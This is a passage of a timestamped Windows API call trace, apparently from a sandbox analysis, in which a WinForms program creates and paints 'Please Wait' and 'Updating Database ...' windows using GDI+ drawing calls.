dwNewLong=0x602f8) returned 0x602f8 [0107.173] GetSystemMetrics (nIndex=11) returned 32 [0107.173] GetSystemMetrics (nIndex=12) returned 32 [0107.173] GetDC (hWnd=0x0) returned 0x2d010b73 [0107.174] GetDeviceCaps (hdc=0x2d010b73, index=12) returned 32 [0107.174] GetDeviceCaps (hdc=0x2d010b73, index=14) returned 1 [0107.174] ReleaseDC (hWnd=0x0, hDC=0x2d010b73) returned 1 [0107.176] CreateIconFromResourceEx (presbits=0x26f2d60, dwResSize=0x10a8, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x700df [0107.179] SendMessageW (hWnd=0x602f8, Msg=0x80, wParam=0x1, lParam=0x700df) returned 0x0 [0107.179] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x602f8, Msg=0x80, wParam=0x1, lParam=0x700df) returned 0x0 [0107.180] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x602f8, Msg=0xd, wParam=0x104, lParam=0x1b084850) returned 0x0 [0107.180] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x602f8, Msg=0xd, wParam=0x104, lParam=0x1b084850) returned 0x0 [0107.181] SetWindowPos (hWnd=0x702f6, hWndInsertAfter=0xffffffffffffffff, X=0, Y=0, cx=0, cy=0, uFlags=0x3) returned 1 [0107.182] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x46, wParam=0x0, lParam=0x15e680) returned 0x0 [0107.182] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x602f8, Msg=0x46, wParam=0x0, lParam=0x15e680) returned 0x0 [0107.182] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x46, wParam=0x0, lParam=0x15e680) returned 0x0 [0107.183] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x602f8, Msg=0x46, wParam=0x0, lParam=0x15e680) returned 0x0 [0107.183] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0107.183] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x602f8, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0107.183] NtdllDefWindowProc_W () returned 0x0 [0107.183] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0107.193] OleInitialize (pvReserved=0x0) returned 0x0 [0107.194] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x15e000 | out: lplpMessageFilter=0x15e000*=0x0) returned 0x0 [0107.207] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0107.210] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0107.212] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0107.214] GetParent (hWnd=0x702f6) returned 0x0 [0107.215] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0107.217] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0107.218] GetWindowPlacement (in: hWnd=0x702f6, lpwndpl=0x15e0e0 | out: lpwndpl=0x15e0e0) returned 1 [0107.218] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x47, wParam=0x0, lParam=0x15e680) returned 0x0 [0107.218] GetClientRect (in: hWnd=0x702f6, lpRect=0x15de80 | out: lpRect=0x15de80) returned 1 [0107.218] GetWindowRect (in: hWnd=0x702f6, lpRect=0x15de80 | out: lpRect=0x15de80) returned 1 [0107.221] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x83, wParam=0x1, lParam=0x15dfe0) returned 0x0 [0107.224] GetWindowLongPtrW (hWnd=0x702f6, nIndex=-16) returned 0x6c00000 [0107.224] GetWindowTextLengthW (hWnd=0x702f6) returned 11 [0107.224] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0107.224] GetSystemMetrics (nIndex=42) returned 0 [0107.225] CoTaskMemAlloc (cb=0x1c) returned 0x1afbed30 [0107.225] GetWindowTextW (in: hWnd=0x702f6, lpString=0x1afbed30, nMaxCount=12 | out: lpString="Please Wait") returned 11 [0107.225] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xd, wParam=0xc, lParam=0x1afbed30) returned 0xb [0107.225] CoTaskMemFree (pv=0x1afbed30) [0107.225] GetWindowTextLengthW (hWnd=0x702f6) returned 11 [0107.225] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0107.225] GetSystemMetrics (nIndex=42) returned 0 [0107.225] CoTaskMemAlloc (cb=0x1c) returned 0x1afbed30 [0107.225] GetWindowTextW (in: hWnd=0x702f6, lpString=0x1afbed30, nMaxCount=12 | out: lpString="Please Wait") returned 11 [0107.226] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xd, wParam=0xc, lParam=0x1afbed30) returned 0xb [0107.226] CoTaskMemFree (pv=0x1afbed30) [0107.226] GetCursorPos (in: lpPoint=0x26f4520 | out: lpPoint=0x26f4520*(x=357, y=818)) returned 1 [0107.226] MonitorFromPoint (pt=0x33200000165, dwFlags=0x2) returned 0x10001 [0107.226] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x15e3f0 | out: lpmi=0x15e3f0) returned 1 [0107.226] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x29010181 [0107.226] GetDeviceCaps (hdc=0x29010181, index=12) returned 32 [0107.226] GetDeviceCaps (hdc=0x29010181, index=14) returned 1 [0107.226] DeleteDC (hdc=0x29010181) returned 1 [0107.226] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x15e4f0 | out: lpmi=0x15e4f0) returned 1 [0107.227] GetWindowLongPtrW (hWnd=0x702f6, nIndex=-16) returned 0x6c00000 [0107.227] GetWindowLongPtrW (hWnd=0x702f6, nIndex=-20) returned 0x10309 [0107.228] SetWindowLongPtrW (hWnd=0x702f6, nIndex=-16, dwNewLong=0x2c00000) returned 0x6c00000 [0107.228] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x7c, wParam=0xfffffffffffffff0, lParam=0x15e5c0) returned 0x0 [0107.228] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x7d, wParam=0xfffffffffffffff0, lParam=0x15e5c0) returned 0x0 [0107.229] SetWindowLongPtrW (hWnd=0x702f6, nIndex=-20, dwNewLong=0x10201) returned 0x10309 [0107.229] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x7c, wParam=0xffffffffffffffec, lParam=0x15e5c0) returned 0x0 [0107.229] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x7d, wParam=0xffffffffffffffec, lParam=0x15e5c0) returned 0x0 [0107.230] SetWindowPos (hWnd=0x702f6, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0107.230] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x46, wParam=0x0, lParam=0x15e660) returned 0x0 [0107.230] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x83, wParam=0x1, lParam=0x15e630) returned 0x0 [0107.231] GetWindowPlacement (in: hWnd=0x702f6, lpwndpl=0x15e0c0 | out: lpwndpl=0x15e0c0) returned 1 [0107.231] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x47, wParam=0x0, lParam=0x15e660) returned 0x0 [0107.231] GetClientRect (in: hWnd=0x702f6, lpRect=0x15de60 | out: lpRect=0x15de60) returned 1 [0107.231] GetWindowRect (in: hWnd=0x702f6, lpRect=0x15de60 | out: lpRect=0x15de60) returned 1 [0107.232] RedrawWindow (hWnd=0x702f6, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0107.232] GetSystemMenu (hWnd=0x702f6, bRevert=0) returned 0x0 [0107.232] GetWindowPlacement (in: hWnd=0x702f6, lpwndpl=0x15e580 | out: lpwndpl=0x15e580) returned 1 [0107.232] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0107.232] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x1) returned 1 [0107.232] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x1) returned 1 [0107.232] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0107.233] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0107.233] ShowWindow (hWnd=0x702f6, nCmdShow=5) returned 1 [0107.234] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0107.234] GetCurrentActCtx (in: lphActCtx=0x15df60 | out: lphActCtx=0x15df60*=0x4f3c68) returned 1 [0107.235] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0107.235] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.33c0d9d", lpWindowName=0x0, dwStyle=0x56000000, X=99, Y=225, nWidth=64, nHeight=64, hWndParent=0x702f6, hMenu=0x0, hInstance=0x260000, lpParam=0x0) returned 0x0 [0107.235] SetWindowLongPtrW (hWnd=0x2031e, nIndex=-4, dwNewLong=0x772ab0ac) returned 0x1fe175c [0107.235] GetWindowLongPtrW (hWnd=0x2031e, nIndex=-4) returned 0x772ab0ac [0107.235] SetWindowLongPtrW (hWnd=0x2031e, nIndex=-4, dwNewLong=0x1ff511c) returned 0x772ab0ac [0107.235] GetWindowLongPtrW (hWnd=0x2031e, nIndex=-4) returned 0x1ff511c [0107.236] GetWindowLongPtrW (hWnd=0x2031e, nIndex=-16) returned 0x46000000 [0107.236] GetWindowLongPtrW (hWnd=0x2031e, nIndex=-12) returned 0x0 [0107.236] SetWindowLongPtrW (hWnd=0x2031e, nIndex=-12, dwNewLong=0x2031e) returned 0x0 [0107.236] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0x81, wParam=0x0, lParam=0x15d600) returned 0x1 [0107.236] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0x83, wParam=0x0, lParam=0x15d6a0) returned 0x0 [0107.236] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0x1, wParam=0x0, lParam=0x15d600) returned 0x0 [0107.237] GetWindow (hWnd=0x2031e, uCmd=0x3) returned 0x0 [0107.238] GetClientRect (in: hWnd=0x2031e, lpRect=0x15ce50 | out: lpRect=0x15ce50) returned 1 [0107.238] GetWindowRect (in: hWnd=0x2031e, lpRect=0x15ce50 | out: lpRect=0x15ce50) returned 1 [0107.238] GetParent (hWnd=0x2031e) returned 0x702f6 [0107.238] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x702f6, lpPoints=0x15ce40, cPoints=0x2 | out: lpPoints=0x15ce40) returned -18612811 [0107.240] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0x5, wParam=0x0, lParam=0x400040) returned 0x0 [0107.241] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0x3, wParam=0x0, lParam=0xe10063) returned 0x0 [0107.241] GetClientRect (in: hWnd=0x2031e, lpRect=0x15cf50 | out: lpRect=0x15cf50) returned 1 [0107.241] GetWindowRect (in: hWnd=0x2031e, lpRect=0x15cf50 | out: lpRect=0x15cf50) returned 1 [0107.241] GetParent (hWnd=0x2031e) returned 0x702f6 [0107.241] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x702f6, lpPoints=0x15cf40, cPoints=0x2 | out: lpPoints=0x15cf40) returned -18612811 [0107.245] SendMessageW (hWnd=0x2031e, Msg=0x2210, wParam=0x31e0001, lParam=0x2031e) returned 0x0 [0107.245] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0x2210, wParam=0x31e0001, lParam=0x2031e) returned 0x0 [0107.245] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0107.245] GetParent (hWnd=0x2031e) returned 0x702f6 [0107.245] GetCurrentActCtx (in: lphActCtx=0x15df60 | out: lphActCtx=0x15df60*=0x4f3c68) returned 1 [0107.246] GetClassInfoW (in: hInstance=0x0, lpClassName="STATIC", lpWndClass=0x26f4ae8 | out: lpWndClass=0x26f4ae8) returned 1 [0108.579] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0108.579] CoTaskMemAlloc (cb=0x48) returned 0x1afbb340 [0108.579] RegisterClassW (lpWndClass=0x15dc40) returned 0xc1d4 [0108.579] CoTaskMemFree (pv=0x1afbb340) [0108.580] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0108.580] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.33c0d9d", lpWindowName="Updating Database ...", dwStyle=0x5600000d, X=50, Y=291, nWidth=158, nHeight=16, hWndParent=0x702f6, hMenu=0x0, hInstance=0x260000, lpParam=0x0) returned 0x20320 [0108.580] SetWindowLongPtrW (hWnd=0x20320, nIndex=-4, dwNewLong=0x7fefbda61b4) returned 0x1ff516c [0108.580] GetWindowLongPtrW (hWnd=0x20320, nIndex=-4) returned 0x7fefbda61b4 [0108.580] SetWindowLongPtrW (hWnd=0x20320, nIndex=-4, dwNewLong=0x1ff51bc) returned 0x7fefbda61b4 [0108.580] GetWindowLongPtrW (hWnd=0x20320, nIndex=-4) returned 0x1ff51bc [0108.580] GetWindowLongPtrW (hWnd=0x20320, nIndex=-16) returned 0x4600000d [0108.580] GetWindowLongPtrW (hWnd=0x20320, nIndex=-12) returned 0x0 [0108.581] SetWindowLongPtrW (hWnd=0x20320, nIndex=-12, dwNewLong=0x20320) returned 0x0 [0108.581] CallWindowProcW (lpPrevWndFunc=0x7fefbda61b4, hWnd=0x20320, Msg=0x81, wParam=0x0, lParam=0x15d600) returned 0x1 [0108.581] CallWindowProcW (lpPrevWndFunc=0x7fefbda61b4, hWnd=0x20320, Msg=0x83, wParam=0x0, lParam=0x15d6a0) returned 0x0 [0108.581] CallWindowProcW (lpPrevWndFunc=0x7fefbda61b4, hWnd=0x20320, Msg=0x1, wParam=0x0, lParam=0x15d5c0) returned 0x0 [0108.581] GetWindow (hWnd=0x20320, uCmd=0x3) returned 0x2031e [0108.581] GetClientRect (in: hWnd=0x20320, lpRect=0x15cd60 | out: lpRect=0x15cd60) returned 1 [0108.582] GetWindowRect (in: hWnd=0x20320, lpRect=0x15cd60 | out: lpRect=0x15cd60) returned 1 [0108.582] GetParent (hWnd=0x20320) returned 0x702f6 [0108.582] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x702f6, lpPoints=0x15cd50, cPoints=0x2 | out: lpPoints=0x15cd50) returned -18612811 [0108.583] SetWindowTextW (hWnd=0x20320, lpString="Updating Database ...") returned 1 [0108.583] CallWindowProcW (lpPrevWndFunc=0x7fefbda61b4, hWnd=0x20320, Msg=0xc, wParam=0x0, lParam=0x2674d00) returned 0x1 [0108.583] CallWindowProcW (lpPrevWndFunc=0x7fefbda61b4, hWnd=0x20320, Msg=0x5, wParam=0x0, lParam=0x10009e) returned 0x0 [0108.583] CallWindowProcW (lpPrevWndFunc=0x7fefbda61b4, hWnd=0x20320, Msg=0x3, wParam=0x0, lParam=0x1230032) returned 0x0 [0108.583] GetClientRect (in: hWnd=0x20320, lpRect=0x15cea0 | out: lpRect=0x15cea0) returned 1 [0108.583] GetWindowRect (in: hWnd=0x20320, lpRect=0x15cea0 | out: lpRect=0x15cea0) returned 1 [0108.583] GetParent (hWnd=0x20320) returned 0x702f6 [0108.583] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x702f6, lpPoints=0x15ce90, cPoints=0x2 | out: lpPoints=0x15ce90) returned -18612811 [0108.583] SendMessageW (hWnd=0x20320, Msg=0x2210, wParam=0x3200001, lParam=0x20320) returned 0x0 [0108.583] CallWindowProcW (lpPrevWndFunc=0x7fefbda61b4, hWnd=0x20320, Msg=0x2210, wParam=0x3200001, lParam=0x20320) returned 0x0 [0108.583] CallWindowProcW (lpPrevWndFunc=0x7fefbda61b4, hWnd=0x20320, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0108.583] GetParent (hWnd=0x20320) returned 0x702f6 [0108.583] GetCurrentActCtx (in: lphActCtx=0x15df60 | out: lphActCtx=0x15df60*=0x4f3c68) returned 1 [0108.584] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0108.584] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.33c0d9d", lpWindowName=0x0, dwStyle=0x56000000, X=12, Y=12, nWidth=239, nHeight=209, hWndParent=0x702f6, hMenu=0x0, hInstance=0x260000, lpParam=0x0) returned 0x20312 [0108.584] SetWindowLongPtrW (hWnd=0x20312, nIndex=-4, dwNewLong=0x772ab0ac) returned 0x1fe175c [0108.584] GetWindowLongPtrW (hWnd=0x20312, nIndex=-4) returned 0x772ab0ac [0108.584] SetWindowLongPtrW (hWnd=0x20312, nIndex=-4, dwNewLong=0x1ff520c) returned 0x772ab0ac [0108.584] GetWindowLongPtrW (hWnd=0x20312, nIndex=-4) returned 0x1ff520c [0108.584] GetWindowLongPtrW (hWnd=0x20312, nIndex=-16) returned 0x46000000 [0108.584] GetWindowLongPtrW (hWnd=0x20312, nIndex=-12) returned 0x0 [0108.584] SetWindowLongPtrW (hWnd=0x20312, nIndex=-12, dwNewLong=0x20312) returned 0x0 [0108.585] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x81, wParam=0x0, lParam=0x15d600) returned 0x1 [0108.585] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x83, wParam=0x0, lParam=0x15d6a0) returned 0x0 [0108.585] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x1, wParam=0x0, lParam=0x15d600) returned 0x0 [0108.585] GetWindow (hWnd=0x20312, uCmd=0x3) returned 0x20320 [0108.585] GetClientRect (in: hWnd=0x20312, lpRect=0x15ce50 | out: lpRect=0x15ce50) returned 1 [0108.585] GetWindowRect (in: hWnd=0x20312, lpRect=0x15ce50 | out: lpRect=0x15ce50) returned 1 [0108.585] GetParent (hWnd=0x20312) returned 0x702f6 [0108.585] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x702f6, lpPoints=0x15ce40, cPoints=0x2 | out: lpPoints=0x15ce40) returned -18612811 [0108.586] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x5, wParam=0x0, lParam=0xd100ef) returned 0x0 [0108.586] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x3, wParam=0x0, lParam=0xc000c) returned 0x0 [0108.586] GetClientRect (in: hWnd=0x20312, lpRect=0x15cf50 | out: lpRect=0x15cf50) returned 1 [0108.586] GetWindowRect (in: hWnd=0x20312, lpRect=0x15cf50 | out: lpRect=0x15cf50) returned 1 [0108.586] GetParent (hWnd=0x20312) returned 0x702f6 [0108.586] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x702f6, lpPoints=0x15cf40, cPoints=0x2 | out: lpPoints=0x15cf40) returned -18612811 [0108.586] SendMessageW (hWnd=0x20312, Msg=0x2210, wParam=0x3120001, lParam=0x20312) returned 0x0 [0108.586] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x2210, wParam=0x3120001, lParam=0x20312) returned 0x0 [0108.586] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0108.586] GetParent (hWnd=0x20312) returned 0x702f6 [0108.592] GetWindowTextLengthW (hWnd=0x702f6) returned 11 [0108.592] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0108.592] GetSystemMetrics (nIndex=42) returned 0 [0108.592] CoTaskMemAlloc (cb=0x1c) returned 0x1afbefd0 [0108.592] GetWindowTextW (in: hWnd=0x702f6, lpString=0x1afbefd0, nMaxCount=12 | out: lpString="Please Wait") returned 11 [0108.592] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xd, wParam=0xc, lParam=0x1afbefd0) returned 0xb [0108.593] CoTaskMemFree (pv=0x1afbefd0) [0108.753] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0108.753] InvalidateRect (hWnd=0x20320, lpRect=0x0, bErase=1) returned 1 [0108.753] InvalidateRect (hWnd=0x20312, lpRect=0x0, bErase=1) returned 1 [0108.801] GetWindowThreadProcessId (in: hWnd=0x702f6, lpdwProcessId=0x15def0 | out: lpdwProcessId=0x15def0) returned 0xec0 [0108.801] GetCurrentThreadId () returned 0xec0 [0108.802] RegisterClipboardFormatW (lpszFormat="WindowsForms12_ThreadCallbackMessage") returned 0xc1d5 [0108.803] PostMessageW (hWnd=0x702f6, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0108.804] GetWindowTextLengthW (hWnd=0x702f6) returned 11 [0108.804] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0108.804] GetSystemMetrics (nIndex=42) returned 0 [0108.804] CoTaskMemAlloc (cb=0x1c) returned 0x1afbf090 [0108.804] GetWindowTextW (in: hWnd=0x702f6, lpString=0x1afbf090, nMaxCount=12 | out: lpString="Please Wait") returned 11 [0108.804] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xd, wParam=0xc, lParam=0x1afbf090) returned 0xb [0108.804] CoTaskMemFree (pv=0x1afbf090) [0108.805] GdipImageGetFrameDimensionsCount (image=0x1dc21b40, count=0x15dde0) returned 0x0 [0108.805] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x1afbc6f0 [0108.805] GdipImageGetFrameDimensionsList (image=0x1dc21b40, dimensionIDs=0x1afbc6f0*(Data1=0x6f0042, Data2=0x73, Data3=0x74, Data4=([0]=0x4d, [1]=0x0, [2]=0x65, [3]=0x0, [4]=0x73, [5]=0x0, [6]=0x73, [7]=0x0)), count=0x1) returned 0x0 [0108.806] LocalFree (hMem=0x1afbc6f0) returned 0x0 [0108.806] GdipImageGetFrameCount (image=0x1dc21b40, dimensionID=0x15de50*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), count=0x26f5b50) returned 0x0 [0108.872] GdipImageGetFrameCount (image=0x1dc21b40, dimensionID=0x15df00*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), count=0x26f5b70) returned 0x0 [0108.874] GdipGetPropertyItemSize (image=0x1dc21b40, propId=0x5100, size=0x15deb0) returned 0x0 [0108.972] LocalAlloc (uFlags=0x0, uBytes=0x90) returned 0x4da770 [0108.973] GdipGetPropertyItem (image=0x1dc21b40, propId=0x5100, propSize=0x90, buffer=0x4da770) returned 0x0 [0109.017] LocalFree (hMem=0x4da770) returned 0x0 [0109.060] GdipImageGetFrameDimensionsCount (image=0x1de43470, count=0x15dde0) returned 0x0 [0109.060] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x1afbc750 [0109.060] GdipImageGetFrameDimensionsList (image=0x1de43470, dimensionIDs=0x1afbc750*(Data1=0x48, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x19, [2]=0x26, [3]=0xf1, [4]=0xfe, [5]=0x7, [6]=0x0, [7]=0x0)), count=0x1) returned 0x0 [0109.061] LocalFree (hMem=0x1afbc750) returned 0x0 [0109.062] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x46, wParam=0x0, lParam=0x15e8c0) returned 0x0 [0109.062] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x602f8, Msg=0x46, wParam=0x0, lParam=0x15e8c0) returned 0x0 [0109.064] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0109.071] GetWindowPlacement (in: hWnd=0x702f6, lpwndpl=0x15e340 | out: lpwndpl=0x15e340) returned 1 [0109.071] GetClientRect (in: hWnd=0x702f6, lpRect=0x15e1f0 | out: lpRect=0x15e1f0) returned 1 [0109.072] GetWindowTextLengthW (hWnd=0x702f6) returned 11 [0109.072] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0109.072] GetSystemMetrics (nIndex=42) returned 0 [0109.072] CoTaskMemAlloc (cb=0x1c) returned 0x1afbf090 [0109.072] GetWindowTextW (in: hWnd=0x702f6, lpString=0x1afbf090, nMaxCount=12 | out: lpString="Please Wait") returned 11 [0109.072] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xd, wParam=0xc, lParam=0x1afbf090) returned 0xb [0109.072] CoTaskMemFree (pv=0x1afbf090) [0109.073] GetClientRect (in: hWnd=0x702f6, lpRect=0x15df90 | out: lpRect=0x15df90) returned 1 [0109.076] GdipCreateHalftonePalette () returned 0x32080181 [0109.077] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0109.077] GdipCreateFromHDC (hdc=0x2d010b73, graphics=0x15db60) returned 0x0 [0109.085] GdipSetPageUnit (graphics=0x1de45cf0, unit=0x2) returned 0x0 [0109.094] GdipCreateMatrix (matrix=0x15da50) returned 0x0 [0109.095] GdipGetWorldTransform (graphics=0x1de45cf0, matrix=0x1dc0a510) returned 0x0 [0109.097] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dab0) returned 0x0 [0109.097] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.098] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0109.100] GdipCreateRegion (region=0x15da50) returned 0x0 [0109.101] GdipGetClip (graphics=0x1de45cf0, region=0x1de43de0) returned 0x0 [0109.102] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de45cf0, result=0x15da80) returned 0x0 [0109.103] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.103] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0109.104] GdipSaveGraphics (graphics=0x1de45cf0, state=0x15db50) returned 0x0 [0109.106] GdipCreateRegion (region=0x15da20) returned 0x0 [0109.106] GdipGetClip (graphics=0x1de45cf0, region=0x1de43de0) returned 0x0 [0109.106] GdipCreateMatrix (matrix=0x15da20) returned 0x0 [0109.106] GdipGetWorldTransform (graphics=0x1de45cf0, matrix=0x1dc0a590) returned 0x0 [0109.107] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15da80) returned 0x0 [0109.108] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbdcf0 [0109.108] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afbdcf0) returned 0x0 [0109.109] LocalFree (hMem=0x1afbdcf0) returned 0x0 [0109.109] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.109] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0109.109] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de45cf0, result=0x15dad0) returned 0x0 [0109.109] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.109] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0109.109] GdipGetDC (graphics=0x1de45cf0, hdc=0x15db00) returned 0x0 [0109.109] GetCurrentObject (hdc=0x2d010b73, type=0x1) returned 0x1b00017 [0109.109] GetCurrentObject (hdc=0x2d010b73, type=0x2) returned 0x1900010 [0109.110] GetCurrentObject (hdc=0x2d010b73, type=0x7) returned 0x1050032 [0109.157] GetCurrentObject (hdc=0x2d010b73, type=0x6) returned 0x18a002e [0109.158] SaveDC (hdc=0x2d010b73) returned 1 [0109.158] OffsetViewportOrgEx (in: hdc=0x2d010b73, x=0, y=0, lppt=0x26f8cd8 | out: lppt=0x26f8cd8) returned 1 [0109.159] GetNearestColor (hdc=0x2d010b73, color=0xffffff) returned 0xffffff [0109.162] CreateSolidBrush (color=0xffffff) returned 0x17100190 [0109.163] FillRect (hDC=0x2d010b73, lprc=0x15dad0, hbr=0x17100190) returned 1 [0109.164] DeleteObject (ho=0x17100190) returned 1 [0109.165] RestoreDC (hdc=0x2d010b73, nSavedDC=-1) returned 